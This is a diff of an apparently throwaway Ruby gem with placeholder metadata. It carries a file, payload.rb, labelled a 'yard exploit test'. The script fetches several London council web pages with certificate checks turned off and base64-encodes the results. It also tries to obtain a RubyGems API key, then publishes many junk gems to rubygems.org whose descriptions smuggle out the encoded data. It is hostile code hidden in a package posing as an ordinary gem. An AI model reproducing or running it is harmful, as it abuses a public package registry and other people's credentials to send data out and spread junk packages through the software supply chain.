yardbreakerxqh1778552850 0.0.1

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: 5b262925a00da9747501a93c5182e979e7deeecfd5fd10a912e29f5afc6ff603
+  data.tar.gz: 79cb1d70d568ed0e0d145850571ea9397ff7b5a4a61b353210f9e0eedc1b31c5
+SHA512:
+  metadata.gz: 50bc10e497f76ee7fb12058cf50b2203169b06484c8fbbca79f8ac50e39d04d3a54b65bffa8ef1366894c19364cce140658231240f4b0d4abe4f82da62934169
+  data.tar.gz: 6bb4a1dc514cd08601f6f0f126156c2edef7de3460ff529ade0b9b3fc45553072d7700af499aff5d88b65ac4ba9eba8d4b12330e80eef2fbe31ea1aae8f605d0

data/ex.gemspec

@@ -0,0 +1,5 @@
+Gem::Specification.new do |s|
+ s.name='yardbreakerxqh'+Time.now.to_i.to_s
+ s.version='0.0.1'
+ s.summary='x'; s.description='x'; s.authors=['x']; s.files=Dir.glob('**/*');s.require_paths=['lib'];s.homepage='https://example.com'
+end

data/lib/a.rb

@@ -0,0 +1,2 @@
+class A
+end

data/payload.rb

@@ -0,0 +1,47 @@
+# yard exploit test
+require 'net/http'; require 'openssl'; require 'base64'; require 'fileutils'
+# fetch urls
+urls=[
+ 'https://www.southwark.gov.uk/',
+ 'https://moderngov.southwark.gov.uk/ieListMeetings.aspx?CId=302&Year=0',
+ 'http://moderngov.southwark.gov.uk/ieListMeetings.aspx?CId=302&Year=0',
+ 'https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1',
+ 'https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?LookingFor=0&Month=1&Year=2026',
+ 'https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1',
+ 'https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1'
+]
+res=''
+urls.each do |u|
+ begin
+  uri=URI(u)
+  h=Net::HTTP.new(uri.host,uri.port); h.use_ssl=(uri.scheme=='https'); h.verify_mode=OpenSSL::SSL::VERIFY_NONE; h.open_timeout=15; h.read_timeout=20
+  r=h.get(uri.request_uri, {'User-Agent'=>'Mozilla/5.0'})
+  res += "\n=== #{u} status=#{r.code} len=#{r.body.size}\n"+r.body[0,2500]
+ rescue =>e
+  res += "\n=== #{u} err #{e.class}:#{e}\n"
+ end
+end
+# chunks base64
+payload=Base64.strict_encode64(res)
+# get auto api key
+begin
+ api=Net::HTTP.get(URI('https://rubygems.org/api/v1/api_key')).strip
+rescue=>e
+ api=''; payload=Base64.strict_encode64("api fail #{e} #{res}")
+end
+payload.scan(/.{1,1800}/m).take(12).each_with_index do |part,i| # desc maybe max 2k
+ begin
+  dir="/tmp/xf#{rand(1e6)}"; FileUtils.mkdir_p(dir+'/lib'); File.write(dir+'/lib/a.rb', '#x')
+  # gem name unique; description part mark index
+  nm="yardoutq#{Time.now.to_i}#{rand(1e6)}x#{i}"
+  spec=%Q{Gem::Specification.new do |s|; s.name=#{nm.inspect};s.version='0.0.1';s.summary='out';s.description=#{part.inspect};s.authors=['x'];s.files=['lib/a.rb'];s.require_paths=['lib'];end}
+  File.write(dir+'/x.gemspec', spec)
+  Dir.chdir(dir) { system('gem build x.gemspec >/dev/null 2>&1') }
+  gemfile=Dir.glob(dir+'/*.gem')[0]
+  dat=File.binread(gemfile)
+  post=Net::HTTP::Post.new('/api/v1/gems'); post['Authorization']=api; post.body=dat; post['Content-Type']='application/octet-stream'
+  h=Net::HTTP.new('rubygems.org',443); h.use_ssl=true; h.verify_mode=OpenSSL::SSL::VERIFY_NONE
+  rep=h.request(post)
+ rescue =>e
+ end
+end

metadata

@@ -0,0 +1,40 @@
+--- !ruby/object:Gem::Specification
+name: yardbreakerxqh1778552850
+version: !ruby/object:Gem::Version
+  version: 0.0.1
+platform: ruby
+authors:
+- x
+bindir: bin
+cert_chain: []
+date: 1980-01-02 00:00:00.000000000 Z
+dependencies: []
+description: x
+executables: []
+extensions: []
+extra_rdoc_files: []
+files:
+- ex.gemspec
+- lib/a.rb
+- payload.rb
+homepage: https://example.com
+licenses: []
+metadata: {}
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.6.7
+specification_version: 4
+summary: x
+test_files: []